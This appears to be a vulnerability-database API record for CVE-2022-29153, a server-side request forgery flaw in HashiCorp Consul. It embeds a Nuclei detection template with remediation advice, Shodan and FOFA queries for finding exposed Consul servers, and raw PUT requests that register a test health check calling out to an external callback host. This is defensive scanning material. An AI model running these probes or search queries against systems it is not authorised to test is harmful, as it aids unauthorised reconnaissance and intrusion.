{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2022-29153/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2022-29153/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2022-29153/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2022-29153/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2022-29153/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2022-29153"},"sightings":{"href":"/api/v1/sightings/cve-2022-29153"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2022/CVE-2022-29153.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2022-29153\n\ninfo:\n  name: HashiCorp Consul/Consul Enterprise - Server-Side Request Forgery\n  author: c-sh0\n  severity: high\n  description: |\n    HashiCorp Consul and Consul Enterprise up to 1.9.16, 1.10.9, and 1.11 are susceptible to server-side request forgery. When redirects are returned by HTTP health check endpoints, Consul follows these HTTP redirects by default. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.\n  impact: |\n    Successful exploitation of this vulnerability could allow an attacker to send crafted requests to internal resources, leading to unauthorized access or information disclosure.\n  remediation: 1) HTTP + interval health check configuration provides a disable_redirects option to prohibit this behavior. 2) Fixed in 1.9.17, 1.10.10, and 1.11.5.\n  reference:\n    - https://discuss.hashicorp.com/t/hcsec-2022-10-consul-s-http-health-check-may-allow-server-side-request-forgery/38393\n    - https://github.com/hashicorp/consul/pull/12685\n    - https://developer.hashicorp.com/consul/docs/discovery/checks\n    - https://nvd.nist.gov/vuln/detail/CVE-2022-29153\n    - https://discuss.hashicorp.com\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2022-29153\n    cwe-id: CWE-918\n    epss-score: 0.08676\n    epss-percentile: 0.94934\n    cpe: cpe:2.3:a:hashicorp:consul:*:*:*:*:-:*:*:*\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: hashicorp\n    product: consul\n    shodan-query:\n      - title:\"Consul by HashiCorp\"\n      - http.title:\"consul by hashicorp\"\n      - cpe:\"cpe:2.3:a:hashicorp:consul\"\n    fofa-query: title=\"consul by hashicorp\"\n    google-query: intitle:\"consul by hashicorp\"\n  tags: cve,cve2022,consul,hashicorp,ssrf,intrusive,vkev,vuln\n\nhttp:\n  - raw:\n      - | # register safe test node\n        PUT /v1/agent/check/register HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"id\":\"{{randstr}}\",\"name\":\"TEST NODE\",\"method\":\"GET\",\"http\":\"http://oast.me\",\"interval\":\"10s\",\"timeout\":\"1s\",\"disable_redirects\":true}\n      - | # deregister test node\n        PUT /v1/agent/check/deregister/{{randstr}} HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - unknown field \"disable_redirects\"\n\n      - type: status\n        status:\n          - 400\n# digest: 4a0a00473045022100f3ed09f21493b221330ad5d85e361414d62753d6496c5b339149fa98636f3072022032b21789336e79a891aa86a1c53fbd068b0027f689fec9a234ac653ec46de8aa:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2022-29153"}